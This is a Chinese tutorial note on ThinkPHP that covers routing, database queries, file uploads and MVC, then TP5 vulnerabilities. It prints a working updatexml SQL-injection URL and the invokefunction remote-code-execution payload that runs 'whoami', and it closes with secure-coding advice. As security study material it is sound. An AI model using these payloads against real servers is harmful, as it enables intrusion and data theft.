day 27 TP框架:路由、对象操作与安全漏洞
多模块访问:新建模块(如 application/text/controller/Test.php),URL格式为 http://IP:端口/index.php/模块名/控制器名/方法?视图(View):在 application/index/view/index/edit.html 中,通过 {$name} {$email} 调用控制器传递的变量。默认首页访问:http://IP:端口/
一、TP框架开发核心(配置、路由、数据库、文件上传、MVC)
(一)配置架构与访问
将ThinkPHP项目部署到PhpStudy的WWW目录(如 G:\phpstudy_pro\WWW\dome01\thinkphp\public),通过「IP+端口」即可访问(如 192.168.137.1:84)。
(二)路由访问(URL规则)
TP的URL遵循 「入口文件/模块/控制器/操作/参数」 规则:
-
默认首页访问:http://IP:端口/index.php/Index/index/
-
带参数的方法访问:
- 路径传参:http://IP:端口/index.php/Index/index/xi/name/值(如 xi 是方法名,name 是参数名);
- GET传参:http://IP:端口/index.php/Index/index/xi?name=值;
-
多模块访问:新建模块(如 application/text/controller/Test.php),URL格式为 http://IP:端口/index.php/模块名/控制器名/方法?参数=值(如 http://192.168.137.1:84/index.php/test/Test/xi?x=值)。
(三)数据库操作(ORM与安全过滤)
TP通过 think\Db 类实现数据库操作,内置过滤机制可防御SQL注入,但写法不规范仍会引发风险:
| 写法类型 | 示例代码 | 安全风险 |
|---|---|---|
| 安全写法 | $data = Db::table('news')->where('id', $id)->find(); | 低(框架自动转义危险字符) |
| 半安全写法 | $data = Db::query("select * from news where id=$id"); | 中(需手动过滤$id) |
| 原生写法 | $data = mysqli_query($con, "select * from news where id=$id"); | 高(无框架过滤保护) |
(四)文件上传(内置验证)
TP通过 request()->file() 结合 validate() 实现上传过滤,支持后缀、大小、类型校验:
public function upload() {
$file = request()->file('image'); // 获取上传的文件(表单name为image)
// 验证后缀为jpg/png/gif,并移动到`../uploads`目录
$info = $file->validate(['ext'=>'jpg,png,gif'])->move('../uploads');
if ($info) {
echo $info->getExtension(); // 输出文件后缀(如 jpg)
echo $info->getSaveName(); // 输出文件保存路径(如 202401/xxx.jpg)
} else {
echo $file->getError(); // 输出上传错误信息(如后缀不合法)
}
}
(五)前端页面渲染(MVC模型)
TP基于MVC架构分离业务与视图:
-
控制器(Controller):通过 assign() 传递数据到模板,fetch() 渲染模板。
public function index() { $this->assign([ // 传递变量到模板 'name' => 'ThinkPHP', 'email' => 'thinkphp@qq.com' ]); return $this->fetch('index/edit'); // 渲染 `index/edit.html` 模板 } -
视图(View):在 application/index/view/index/edit.html 中,通过 {$name} {$email} 调用控制器传递的变量。
二、TP框架安全风险(代码写法与版本漏洞)
TP的安全防护依赖“框架内置过滤 + 规范代码写法”,不规范写法或框架历史漏洞会引发风险。
(一)代码写法引发的漏洞
若偏离TP推荐的“安全写法”,会绕过框架过滤,导致SQL注入等问题。
(二)框架版本漏洞(以TP5为例)
需关注框架版本号(在 thinkphp/thinkphp/tpl/base.php 中查看),不同版本存在历史漏洞:
1. SQL注入漏洞(写法绕过)
通过构造特殊数组参数,绕过框架过滤,利用updatexml等函数报错注入:
http://IP:端口/index.php/test/Test/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1
- 利用updatexml的报错机制,可泄露数据库用户、库名等敏感信息。
2. 远程代码执行(RCE)漏洞
利用框架路由与函数调用的设计缺陷,直接执行系统命令:
http://IP:端口/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
- 执行whoami命令,可获取当前系统用户,进一步控制服务器。
三、安全开发建议
- 代码规范:优先使用TP的查询构造器(安全写法),避免混合原生SQL或直接使用mysqli等原生数据库操作。
- 版本管理:及时升级ThinkPHP到最新稳定版,修复已知漏洞。
- 输入验证:即使框架有过滤,对用户输入仍需二次校验(如类型、长度、白名单限制)。
- 权限最小化:文件上传目录设置为“不可执行”(如Apache中添加php_flag engine off);数据库账号仅保留“查询/插入”等必要权限。
更多推荐


所有评论(0)